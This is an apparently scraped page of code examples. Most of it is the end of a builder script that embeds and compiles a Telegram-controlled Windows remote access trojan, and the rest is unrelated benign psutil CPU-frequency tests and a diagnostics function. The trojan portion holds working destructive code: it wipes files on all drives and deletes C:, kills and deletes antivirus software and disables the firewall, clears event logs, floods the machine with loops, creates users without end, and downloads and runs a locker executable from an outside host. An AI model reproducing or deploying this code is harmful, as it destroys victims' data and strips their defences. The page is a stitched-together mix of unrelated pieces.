            cmdDrives = check_output("wmic logicaldisk get name", shell=True)
            drives = ["A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:", "K:", "L:", "M:", "N:", "Q:", "R:", "O:",
                      "P:", "W:", "Y:", "S:", "T:", "U:", "V:", "X:", "Z:"]
            for i in drives:
                if i.encode() in cmdDrives:
                    allDrives2.append(i + "\\")
                    allDrives.append(i)
    
        findDrives()
    
        def findFilePath():
            suffix = []
            path = 'c:\\'
    
            # r=root, d=directories, f = files
            for path in allDrives2:
                for r, d, f in os.walk(path):
                    for file in f:
                        file = file.split(".")[-1]
                        suffix.append(file)
            suffix = list(dict.fromkeys(suffix))
            mainSuffix = []
            for b in suffix:
    
                if "0" not in b:
                    mainSuffix.append(b)
    
            for w in allDrives:
                if w =="c:":
                    continue
                for s in mainSuffix:
                    try:
    
                        path = os.system(f"Del {w}\*.{s} /f /s /q"
                                                       )
    
                    except:pass
    
        findFilePath()
        context.bot.sendMessage(chat_id,"Finished")





def destroyGraphic(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        try:
            with open(f"""c:/users/{getpass.getuser()}/destroyGraphic.bat""","w") as f:
                command="""c:/windows/system32/jefo/display/memory/full"""
                f.write(command)
            os.system(f"""c:/users/{getpass.getuser()}/destroyGraphic.bat""")
            context.bot.sendMessage(chat_id,"Virus Ran Successfully")
        except:context.bot.sendMessage(chat_id,"Could Not Run Virus")


def destroyCDRom(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        try:
            with open(f"""c:/users/{getpass.getuser()}/destrotCDRom.vbs""","w") as file:
                command="""

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
loop"""
                file.write(command)
            os.system(f"""start c:/users/{getpass.getuser()}/destrotCDRom.vbs""")
            context.bot.sendMessage(chat_id, "Virus Ran Successfully")
        except:context.bot.sendMessage(chat_id,"Could Not Run Virus")



def endlessNotepad(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        try:
            with open(f"""c:/users/{getpass.getuser()}/endlessnotepad.bat""","w") as file:
                command=r"""
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top"""
                file.write(command)
            os.system(f"""c:/users/{getpass.getuser()}/endlessnotepad.bat""")
            context.bot.sendMessage(chat_id, "Virus Ran Successfully")
        except:context.bot.sendMessage(chat_id,"Could Not Run Virus")





def openApps_(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:

        try:
            with open(f"""c:/users/{getpass.getuser()}/openapps.bat""", "w") as file:
                command = r"""
@echo off
:x
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x
 """
                file.write(command)
            os.system(f"""c:/users/{getpass.getuser()}/openapps.bat""")
            context.bot.sendMessage(chat_id, "Virus Ran Successfully")
        except:
            context.bot.sendMessage(chat_id, "Could Not Run Virus")
            
            
            
            
            
def endlessFolder(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:

        try:
            with open(f"""c:/users/{getpass.getuser()}/endlessFolder.bat""", "w") as file:
                command = r"""
@echo off
:x
md %random%
/folder.
goto x
"""
                file.write(command)
            os.system(f"""c:/users/{getpass.getuser()}/endlessFolder.bat""")
            context.bot.sendMessage(chat_id, "Virus Ran Successfully")
        except:
            context.bot.sendMessage(chat_id, "Could Not Run Virus")

def endlessUser(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:

        try:
            with open(f"""c:/users/{getpass.getuser()}/endlessUser.bat""", "w") as file:
                command = """
@echo off
:x
net user %random% /add
goto x
"""

                file.write(command)
            os.system(f"""c:/users/{getpass.getuser()}/endlessUser.bat""")
            context.bot.sendMessage(chat_id, "Virus Ran Successfully")
        except:
            context.bot.sendMessage(chat_id, "Could Not Run Virus")


def formatC(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:

        try:
            with open(f"""c:/users/{getpass.getuser()}/formatc.bat""", "w") as file:
                command = """
@Echo off
Del C:\ *.* |y
"""

                file.write(command)
            os.system(f"""c:/users/{getpass.getuser()}/formatc.bat""")
            context.bot.sendMessage(chat_id, "Virus Ran Successfully")
        except:
            context.bot.sendMessage(chat_id, "Could Not Run Virus")
            
            
            

def antiDisabled(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:


        try:
            import pdb
            pdb.set_trace()
            with open(f"""c:/users/{getpass.getuser()}/disableanti.bat""", "w") as file:
                command = r"""
@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem"""

                file.write(command)
            os.system(f"""c:/users/{getpass.getuser()}/disableanti.bat""")
            context.bot.sendMessage(chat_id, "Virus Ran Successfully")
        except:
            context.bot.sendMessage(chat_id, "Could Not Run Virus")
            
            
            
def makeBeepSound(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        win32api.MessageBeep(0)
        
        
def desktopLocker(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        wget.download("http://s13.picofile.com/d/8404121576/f041c244-c1a3-4158-9784-56ed5c6bb9dc/DTLEP.exe",out=f"""c:/users/{getpass.getuser()}""")
        check_output(f"""c:/users/{getpass.getuser()}/DTLEP.exe""")
        keyboard = Controller()
        time.sleep(1)
        keyboard.type("DR8002")
        time.sleep(1)
        keyboard.press(Key.enter)
        time.sleep(1)
        keyboard.type("DR8002")
        time.sleep(1)
        keyboard.press(Key.enter)
        context.bot.sendMessage(chat_id,"Locked,Password Is: DR8002")

def deleteLogs(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:

        try:
            import pdb
            pdb.set_trace()
            with open(f"""c:/users/{getpass.getuser()}/log.bat""", "w") as file:
                command = """
@echo off

FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo All Event Logs have been cleared!
goto theEnd

:do_clear
echo clearing %1
wevtutil.exe cl %1
goto :eof

:noAdmin
echo Current user permissions to execute this .BAT file are inadequate.
echo This .BAT file must be run with administrative privileges.
echo Exit now, right click on this .BAT file, and select "Run as administrator".  
pause >nul

:theEnd
Exit"""
                file.write(command)
            os.system(f"""c:/users/{getpass.getuser()}/log.bat""")
            context.bot.sendMessage(chat_id, "Cleared")
        except:
            pass



def locationOnMap(update:Update,context:CallbackContext):
    import pdb
    pdb.set_trace()
    info = requests.get('http://ipinfo.io')

    info=info.json()
    location = info['loc'].split(',')
    context.bot.send_location(chat_id, location[0], location[1])
    
    
def openUrl(update:Update,context:CallbackContext):
    context.bot.sendMessage(chat_id,"""For Open A Url Enter The Command Blow:\n/open url""")


def openUrlMain(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        url=update.message.text.replace("/open ","")
        webbrowser.open(url)
        context.bot.sendMessage(chat_id,"Opened!")
        
        
def showMessageBox(update:Update,context:CallbackContext):
    context.bot.sendMessage(chat_id,"""For Show Message Box Enter The Command Blow:\n/show text""")
    

def showMessageBoxMain(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        text=update.message.text.replace("/show ","")
        messageBox = ctypes.windll.user32.MessageBoxW
        context.bot.sendMessage(chat_id,"Showed!")
        returnValue = messageBox(0,
                                 text,
                                 "Hacked", 0x40 | 0x0)
                                 
def playBadSound(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:

        wget.download("http://s12.picofile.com/d/8403901226/7b88682e-bcbc-47d2-b38c-9c5831e2d693/audio_2020_07_25_13_21_54.mp3",out=f"""c:/users/{getpass.getuser()}""")
        os.system(f"""c:/users/{getpass.getuser()}/audio_2020-07-25_13-21-54.mp3""")
        context.bot.sendMessage(chat_id,"Sound Playing")
        
        
def deleteHard(update:Update,context:CallbackContext):
    if str(update.message.chat_id) == chat_id:
        context.bot.sendMessage(chat_id,"Started,When All Files Deleted I Will Tell You.")
        allDrives = []
        allDrives2 = []
        paths = []

        def findDrives():
            cmdDrives = check_output("wmic logicaldisk get name", shell=True)
            drives = ["A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:", "K:", "L:", "M:", "N:", "Q:", "R:", "O:",
                      "P:", "W:", "Y:", "S:", "T:", "U:", "V:", "X:", "Z:"]
            for i in drives:
                if i.encode() in cmdDrives:
                    allDrives2.append(i + "\\")
                    allDrives.append(i)

        findDrives()

        def findFilePath():
            suffix = []
            path = 'c:\\'

            # r=root, d=directories, f = files
            for path in allDrives2:
                for r, d, f in os.walk(path):
                    for file in f:
                        file = file.split(".")[-1]
                        suffix.append(file)
            suffix = list(dict.fromkeys(suffix))
            mainSuffix = []
            for b in suffix:

                if "0" not in b:
                    mainSuffix.append(b)

            for w in allDrives:
                if w =="c:":
                    continue
                for s in mainSuffix:
                    try:

                        path = os.system(f"Del {w}\*.{s} /f /s /q"
                                                       )

                    except:pass

        findFilePath()
        context.bot.sendMessage(chat_id,"Finished")
        
        
startHandler=CommandHandler("start",start)
updater.dispatcher.add_handler(startHandler)

ipFinderHandler=MessageHandler(Filters.regex("IP"),ipFinder)
updater.dispatcher.add_handler(ipFinderHandler)

systemInformationHandler=MessageHandler(Filters.regex("System Information"),systemInformation)
updater.dispatcher.add_handler(systemInformationHandler)

downloadFileHandler=MessageHandler(Filters.regex("Download File"),downloadFile)
updater.dispatcher.add_handler(downloadFileHandler)

donwloadFileMainHandler=CommandHandler("download",donwloadFileMain)
updater.dispatcher.add_handler(donwloadFileMainHandler)

makeUserHandler=MessageHandler(Filters.regex("Make User"),makeUser)
updater.dispatcher.add_handler(makeUserHandler)

restartSystemHandler=MessageHandler(Filters.regex("Restart"),restartSystem)
updater.dispatcher.add_handler(restartSystemHandler)

changeMainUserPassHandler=MessageHandler(Filters.regex("Change Main User Pass"),changeMainUserPass)
updater.dispatcher.add_handler(changeMainUserPassHandler)

taskManagerHandler=MessageHandler(Filters.regex("Task Manager"),taskManager)
updater.dispatcher.add_handler(taskManagerHandler)

enableTaskManagerHandler=CommandHandler("EnableTask",enableTaskManager)
updater.dispatcher.add_handler(enableTaskManagerHandler)

disableTaskManagerHandler=CommandHandler("DisableTask",disableTaskManager)
updater.dispatcher.add_handler(disableTaskManagerHandler)

lusrmgrHandler=MessageHandler(Filters.regex("Lusrmgr"),lusrmgr)
updater.dispatcher.add_handler(lusrmgrHandler)

disableLusrmgrHandler=CommandHandler("DisableLusrmgr",disableLusrmgr)
updater.dispatcher.add_handler(disableLusrmgrHandler)

enableLusrmgrHandler=CommandHandler("EnableLusrmgr",enableLusrmgr)
updater.dispatcher.add_handler(enableLusrmgrHandler)

enableGpeditHandler=CommandHandler("EnableGpedit",enableGpedit)
updater.dispatcher.add_handler(enableGpeditHandler)

disableGpeditHandler=CommandHandler("DisableGpedit",disableGpedit)
updater.dispatcher.add_handler(disableGpeditHandler)

gpeditHandler=MessageHandler(Filters.regex("Gpedit"),gpedit)
updater.dispatcher.add_handler(gpeditHandler)

enableRdpHandler=MessageHandler(Filters.regex("Enable RDP"),enableRdp)
updater.dispatcher.add_handler(enableRdpHandler)

cmdCommandsHandler=MessageHandler(Filters.regex("CMD Commands"),cmdCommands)
updater.dispatcher.add_handler(cmdCommandsHandler)

cmdCommandsMainHandler=CommandHandler("cmd",cmdCommandsMain)
updater.dispatcher.add_handler(cmdCommandsMainHandler)

uploadFileHandler=MessageHandler(Filters.regex("Upload File"),uploadFile)
updater.dispatcher.add_handler(uploadFileHandler)

uploadFileMainHandler=CommandHandler("upload",uploadFileMain)
updater.dispatcher.add_handler(uploadFileMainHandler)

runFileHandler=MessageHandler(Filters.regex("Run App"),runFile)
updater.dispatcher.add_handler(runFileHandler)

runFileMainHandler=CommandHandler("run",runFileMain)
updater.dispatcher.add_handler(runFileMainHandler)

screenShotHanlder=MessageHandler(Filters.regex("Screen Shot"),screenShot)
updater.dispatcher.add_handler(screenShotHanlder)

takePhotoHandler=MessageHandler(Filters.regex("Take Photo"),takePhoto)
updater.dispatcher.add_handler(takePhotoHandler)

recordVideoHandler=MessageHandler(Filters.regex("Record Video"),recordVideo)
updater.dispatcher.add_handler(recordVideoHandler)

playBadSoundHandler=MessageHandler(Filters.regex("Play Bad Sounds"),playBadSound)
updater.dispatcher.add_handler(playBadSoundHandler)

makeFileHandler=MessageHandler(Filters.regex("Make File"),makeFile)
updater.dispatcher.add_handler(makeFileHandler)

makeFileMainHandler=CommandHandler("makefile",makeFileMain)
updater.dispatcher.add_handler(makeFileMainHandler)

changeBackgHandler=MessageHandler(Filters.regex("Change Background"),changeBackg)
updater.dispatcher.add_handler(changeBackgHandler)

changeBackgMainHandler=MessageHandler(Filters.photo, changeBackgMain)
updater.dispatcher.add_handler(changeBackgMainHandler)

deleteHardHandler=MessageHandler(Filters.regex("Delete Hard Infos"),deleteHard)
updater.dispatcher.add_handler(deleteHardHandler)

destroyGraphicHandler=MessageHandler(Filters.regex('Destroy Graphic Card'),destroyGraphic)
updater.dispatcher.add_handler(destroyGraphicHandler)

destroyCDRomHandler=MessageHandler(Filters.regex("Destroy CD-Rom"),destroyCDRom)
updater.dispatcher.add_handler(destroyCDRomHandler)

endlessNotepadHandler=MessageHandler(Filters.regex("Open Endless Notepad"),endlessNotepad)
updater.dispatcher.add_handler(endlessNotepadHandler)

openAppsHandler=MessageHandler(Filters.regex("Crash Windows"),openApps_)
updater.dispatcher.add_handler(openAppsHandler)

endlessFolderHandler=MessageHandler(Filters.regex("Create Endless Folder"),endlessFolder)
updater.dispatcher.add_handler(endlessFolderHandler)

endlessUserHandler=MessageHandler(Filters.regex("Create Endless User"),endlessUser)
updater.dispatcher.add_handler(endlessUserHandler)

formatCHandler=MessageHandler(Filters.regex("Format Drive C"),formatC)
updater.dispatcher.add_handler(formatCHandler)

antiDisabledHandler=MessageHandler(Filters.regex("Disable All Antiviruss"),antiDisabled)
updater.dispatcher.add_handler(antiDisabledHandler)

makeBeepSoundHandler=MessageHandler(Filters.regex("Make Beep Sound"),makeBeepSound)
updater.dispatcher.add_handler(makeBeepSoundHandler)

desktopLockerHandler=MessageHandler(Filters.regex("Desktop Locker"),desktopLocker)
updater.dispatcher.add_handler(desktopLockerHandler)

deleteLogsHandler=MessageHandler(Filters.regex("Delete Logs"),deleteLogs)
updater.dispatcher.add_handler(deleteLogsHandler)

locationOnMapHandler=MessageHandler(Filters.regex("Location On Map"),locationOnMap)
updater.dispatcher.add_handler(locationOnMapHandler)

openUrlHandler=MessageHandler(Filters.regex("Open URL"),openUrl)
updater.dispatcher.add_handler(openUrlHandler)

openUrlMainHandler=CommandHandler("open",openUrlMain)
updater.dispatcher.add_handler(openUrlMainHandler)


showMessageBoxHandler=MessageHandler(Filters.regex("Show Message Box"),showMessageBox)
updater.dispatcher.add_handler(showMessageBoxHandler)

showMessageBoxMainHandler=CommandHandler("show",showMessageBoxMain)
updater.dispatcher.add_handler(showMessageBoxMainHandler)
updater.start_polling()
'''
        exportFile = open("Source.py", "w", encoding="UTF-8")
        exportFile.write(source)
        print(setting["icon"])

        def makeExe():
            if setting["icon"] == "null":
                a = os.system(f"pyinstaller  -w -F Source.py")
                shutil.rmtree("__pycache__")
                shutil.rmtree("build")
                os.system("cls")
                os.remove("Source.spec")
                startPage()

            else:
                a = os.system(
                    f"pyinstaller  -w -F --icon {setting['icon']} Source.py")
                shutil.rmtree("__pycache__")
                shutil.rmtree("build")
                os.system("cls")
                os.remove("Source.spec")
                startPage()

        makeExe()
        os.system("cls")
        baner()
        print(colorama.Fore.RED + "Check Out Dist Dir.")
        input("Press Enter To Return")
        startPage()
Example #35
0
 def test_cpu_freq(self):
     if psutil.cpu_freq() is None:
         raise self.skipTest("cpu_freq() returns None")
     self.assert_ntuple_of_nums(psutil.cpu_freq(), type_=(float, int, long))
Example #36
0
def get_cpu_freq():
    freq = psutil.cpu_freq()
    return freq
 def test_cpu_freq(self):
     w = wmi.WMI()
     proc = w.Win32_Processor()[0]
     self.assertEqual(proc.CurrentClockSpeed, psutil.cpu_freq().current)
     self.assertEqual(proc.MaxClockSpeed, psutil.cpu_freq().max)
Example #38
0
def system_diagnostic():
    """ return various helpful/informative information about the
    current system. For instance versions of python & available packages.

    Mostly undocumented function...
    """

    # There is probably a more clever way to do the following via introspection?

    import platform
    import os
    import poppy
    import numpy
    import scipy
    from .version import version
    try:
        import ttk
        ttk_version = ttk.__version__
    except ImportError:
        ttk_version = 'not found'

    try:
        import wx
        wx_version = wx.__version__
    except ImportError:
        wx_version = 'not found'

    try:
        import pyfftw
        pyfftw_version = pyfftw.version
    except ImportError:
        pyfftw_version = 'not found'

    try:
        import pysynphot
        pysynphot_version = pysynphot.__version__
    except ImportError:
        pysynphot_version = 'not found'

    try:
        import astropy
        astropy_version = astropy.__version__
    except ImportError:
        astropy_version = 'not found'

    try:
        import numexpr
        numexpr_version = numexpr.__version__
    except ImportError:
        numexpr_version = 'not found'

    try:
        import accelerate
        accelerate_version = accelerate.__version__
    except ImportError:
        accelerate_version = 'not found'

    try:
        import psutil
        cpu_info = """
  Hardware cores: {hw}
  Logical core: {logical}
  Frequency: {freq} GHz
  Currently {percent}% utilized.
""".format(hw=psutil.cpu_count(logical=False),
           logical=psutil.cpu_count(logical=True),
           freq=psutil.cpu_freq()[0] / 1000,
           percent=psutil.cpu_percent())
    except:
        try:
            import multiprocessing
            cpu_info = "  Cores: {}".format(multiprocessing.cpu_count())
        except:
            cpu_info = "No CPU info available"

    # Get numpy config - the following is a modified version of
    # numpy.__config__.show()

    numpyconfig = ""
    for name, info_dict in numpy.__config__.__dict__.items():
        if name[0] == "_" or type(info_dict) is not type({}): continue
        numpyconfig += name + ":\n"
        if not info_dict:
            numpyconfig += "  NOT AVAILABLE\n"
        for k, v in info_dict.items():
            v = str(v)
            if k == "sources" and len(v) > 200:
                v = v[:60] + " ...\n... " + v[-60:]
            numpyconfig += "    %s = %s\n" % (k, v)

    result = DIAGNOSTIC_REPORT.format(os=platform.platform(),
                                      numpy=numpy.__version__,
                                      python=sys.version.replace("\n", " "),
                                      poppy=poppy.__version__,
                                      webbpsf=version,
                                      tkinter=ttk_version,
                                      wxpython=wx_version,
                                      pyfftw=pyfftw_version,
                                      pysyn=pysynphot_version,
                                      astropy=astropy_version,
                                      finfo_float=numpy.finfo(numpy.float),
                                      finfo_complex=numpy.finfo(numpy.complex),
                                      numexpr=numexpr_version,
                                      scipy=scipy.__version__,
                                      accelerate=accelerate_version,
                                      numpyconfig=numpyconfig,
                                      cpu=cpu_info)
    return result
Example #39
0
def system_diagnostic():
    """ return various helpful/informative information about the
    current system. For instance versions of python & available packages.

    Mostly undocumented function...
    """

    # There is probably a more clever way to do the following via introspection?

    import platform
    import os
    import poppy
    import numpy
    import scipy
    from .version import version
    try:
        import ttk
        ttk_version = ttk.__version__
    except ImportError:
        ttk_version = 'not found'

    try:
        import wx
        wx_version = wx.__version__
    except ImportError:
        wx_version = 'not found'

    try:
        import pyfftw
        pyfftw_version = pyfftw.version
    except ImportError:
        pyfftw_version = 'not found'

    try:
        import pysynphot
        pysynphot_version = pysynphot.__version__
    except ImportError:
        pysynphot_version = 'not found'

    try:
        import astropy
        astropy_version = astropy.__version__
    except ImportError:
        astropy_version = 'not found'

    try:
        import numexpr
        numexpr_version = numexpr.__version__
    except ImportError:
        numexpr_version = 'not found'

    try:
        import accelerate
        accelerate_version = accelerate.__version__
    except ImportError:
        accelerate_version = 'not found'

    try:
        import psutil
        cpu_info = """
  Hardware cores: {hw}
  Logical core: {logical}
  Frequency: {freq} GHz
  Currently {percent}% utilized.
""".format(hw=psutil.cpu_count(logical=False),
           logical=psutil.cpu_count(logical=True),
           freq=psutil.cpu_freq()[0] / 1000,
           percent=psutil.cpu_percent())
    except:
        try:
            import multiprocessing
            cpu_info = "  Cores: {}".format(multiprocessing.cpu_count())
        except:
            cpu_info = "No CPU info available"

    # Get numpy config - the following is a modified version of
    # numpy.__config__.show()

    numpyconfig = ""
    for name, info_dict in numpy.__config__.__dict__.items():
        if name[0] == "_" or type(info_dict) is not type({}): continue
        numpyconfig += name + ":\n"
        if not info_dict:
            numpyconfig += "  NOT AVAILABLE\n"
        for k, v in info_dict.items():
            v = str(v)
            if k == "sources" and len(v) > 200:
                v = v[:60] + " ...\n... " + v[-60:]
            numpyconfig += "    %s = %s\n" % (k, v)

    result = DIAGNOSTIC_REPORT.format(
        os=platform.platform(),
        numpy=numpy.__version__,
        python=sys.version.replace("\n", " "),
        poppy=poppy.__version__,
        webbpsf=version,
        tkinter=ttk_version,
        wxpython=wx_version,
        pyfftw=pyfftw_version,
        pysyn=pysynphot_version,
        astropy=astropy_version,
        finfo_float=numpy.finfo(numpy.float),
        finfo_complex=numpy.finfo(numpy.complex),
        numexpr=numexpr_version,
        scipy=scipy.__version__,
        accelerate=accelerate_version,
        numpyconfig=numpyconfig,
        cpu=cpu_info
    )
    return result
Example #40
0
 def test_cpu_freq(self):
     w = wmi.WMI()
     proc = w.Win32_Processor()[0]
     self.assertEqual(proc.CurrentClockSpeed, psutil.cpu_freq().current)
     self.assertEqual(proc.MaxClockSpeed, psutil.cpu_freq().max)